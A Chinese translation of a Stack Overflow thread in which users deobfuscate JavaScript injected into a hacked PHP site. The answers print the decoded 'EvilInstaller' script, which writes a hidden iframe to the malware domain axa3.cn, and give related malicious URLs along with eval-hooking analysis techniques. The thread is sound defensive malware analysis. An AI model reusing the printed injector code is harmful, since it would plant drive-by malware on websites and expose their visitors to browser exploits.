你如何进行逆向工程?

5

我有一些代码,原本在一个php文件的底部,现在需要在javascript中使用。它会进行很多奇怪的操作,比如将十六进制转换为ascii,然后进行正则表达式替换,执行代码等等...

有没有办法在实际执行之前找出它要执行的内容?

这里是代码:

http://pastebin.ca/1303597


哈哈!混淆JavaScript代码!让我开心了。 :) - user142019
标题误导 - milahu
7个回答

26
你可以逐步进行解密,因为它是JavaScript并且是解释性的,所以需要自己的解密器。如果您可以访问命令行JavaScript解释器(例如Firebug中的控制台),这将非常简单。
我会看一下并查看结果。 编辑:我已经完成了大部分内容-似乎最后一步比较复杂,可能涉及“argument.callee”。无论如何,我已经在Pastebin上发布了目前为止的内容
有趣的是,我发现这个问题中最难的部分是给无意义的变量命名。它让我想起了填字游戏或数独游戏,你知道事物之间的关系,但是在确定其依赖部分之前,你不能明确地分配某些东西。:-) 我相信如果有人认识算法,他们可以为这些部分赋予更有意义的名称,但是在大量进行异或运算的位置,有两个临时变量我只能保留它们的默认名称,因为我不知道足够的上下文来给它们有用的名称。 最终编辑:当我意识到我刚刚解码的原始文本(这是一种非常聪明的技术,因此普通的反混淆不起作用,因为当然一旦您重命名变量等,则该值会更改)可以直接传入时,“arguments.callee”部分变得容易。无论如何,以下是完整的脚本:

    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

基本上看起来它从axa3.cn加载恶意软件。尽管该网站已经被ISP怀疑,但无法确定实际存在于其中的除了一般恶意之外的内容。

(如果有人感兴趣,我使用Pastebin作为代码不断变化的伪版本控制系统,因此您可以查看另一个中间步骤,在我的第一篇帖子编辑后不久。看到不同的混淆层以及它们如何改变是相当有趣的。)


呵呵,我放弃了对它的摆弄(变得无聊了),只是断开连接让它运行,然后在Firebug中检查DOM。 - Steven A. Lowe
2
回复:给无意义的变量命名:“计算机科学中只有两件难事:缓存失效和命名事物。” ——菲尔·卡尔顿 - Jörg W Mittag
1
回复:将Pastebin用作伪版本控制系统:GitHub早些时候推出了名为“Gist”的Pastebin服务https://gist.github.com/。 这基本上是像所有其他Pastebin服务一样的Pastebin服务,但其独特之处在于每个Pastie也是Git存储库。 换句话说:它同时使用了Pastebin和真正的版本控制系统。 - Jörg W Mittag
4
“该网站已经被ISP怀疑”:不,这个“ISP”本身就是黑帽子。无论漏洞是否仍然存在,“账户已被暂停”的消息都是俄罗斯恶意软件团伙运营这些骗局的一种非常老旧的策略。 - bobince

2

只需编写一个Perl脚本或其他脚本,将所有转义的十六进制字符更改为ASCII?然后仔细查看正则表达式,了解确切发生的事情,并使用您的Perl /任何脚本执行相同的操作。


2

虽然你可以手动解码,但当你有多个解码阶段时,这很快会变得乏味。我通常会替换eval/write以查看每个步骤:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

然而,这个特定的脚本受到了对window.eval的故意检查的保护。使用arguments.callee也意味着该脚本依赖于特定浏览器的Function.toString格式,在这种情况下是IE的-它在其他浏览器上不起作用。你可以在替换eval函数中放置解决方法,以使脚本符合其期望,但这仍然有点麻烦。
你可以使用脚本调试器逐步执行代码,或者像我在这种情况下所做的那样,允许代码在一个没有网络的虚拟机中运行,这样我就能够忽略它。通过在代码运行后查看document.body.innerHTML,我发现它添加了一个指向不可见iframe的指针:
hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

重定向到:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

在IE浏览器的适当条件下查看,会给你带来大量漏洞。 不要访问这些URL

简而言之,您的服务器已被axa3.cn黑客攻击,这是目前运作的众多中国托管但由俄罗斯经营的恶意软件团伙之一。


1

你可以尝试使用Firebug控制台并逐步分解它。作为一个开始:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

只是将“eval”函数伪装成“jQuery”


1
最简单的方法是使用一个简单的C程序将转义的十六进制字符转换为可读文本,如下所示:
#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

这将产生this(我添加了格式)。我会让你完成最后一部分,它似乎是更多相同的内容。


1

非常小心 - 如果有人费尽心思地混淆代码,那么很可能是某种攻击脚本

您可以使用本地 HTML 文件逐步输出执行结果,并逐个处理

通过这样做,我得到了:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

这将产生

jQuery=eval(window.eval);

正如crescentfresh所观察到的那样,将变量jQuery绑定到window.eval函数。

下一节显然试图在十六进制代码中评估某些内容,因此让我们看看十六进制代码字符串的样子(手动重新格式化以供演示):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

现在我们得到了一个转义的字符串,让我们使用unescape查看其中的内容(为了展示而截短):

30248118GA0* l: WRG:nt9*82:)7Z\uF%*{...

坦率地说,我已经厌倦了拆开这个东西,所以我将它转储到一个本地html文件中,断开了与互联网的连接,打开了Firefox,禁用了JavaScript,在Firefox中加载了该文件,启动了Firebug,重新加载了页面以使其运行,并检查了DOM。

该脚本创建了一个SRC设置为[修改后为安全起见!]的IFRAME:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn是一个被恶意软件黑名单列入的中国域名。


0

我知道这不是答案,但通常(在我看到这种情况的地方),它们被放置在那里,以便如果该行未执行,则整个脚本都会停止。为什么他们要这样做?因为他们在脚本(或更常见的模板)上打印了他们的版权。

当人们为你付出所有这些麻烦来给予认可时,这是因为他们确实拥有去除版权许可证,我建议你付费购买,因为即使你“反向工程”它,他们也可以(并且已经)有其他方法来检查您的许可证是否真实。(其中一些软件实际上会发送某种消息,如果你这样做的话)。

但是,在我得到任何火焰之前,我同意回顾这种安全性并获取原始代码并将其破解是很有趣的 =)


我看过一些由脚本小子编写的代码,他们会用这种方式来掩盖自己所做的事情。但是,真的有人使用这种方法来混淆版权吗? - Oliver Friedrich
是的,我已经看到了许多案例和示例(比你想象的要多得多,记住有很多人靠模板和其他东西生活)。 - DFectuoso

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接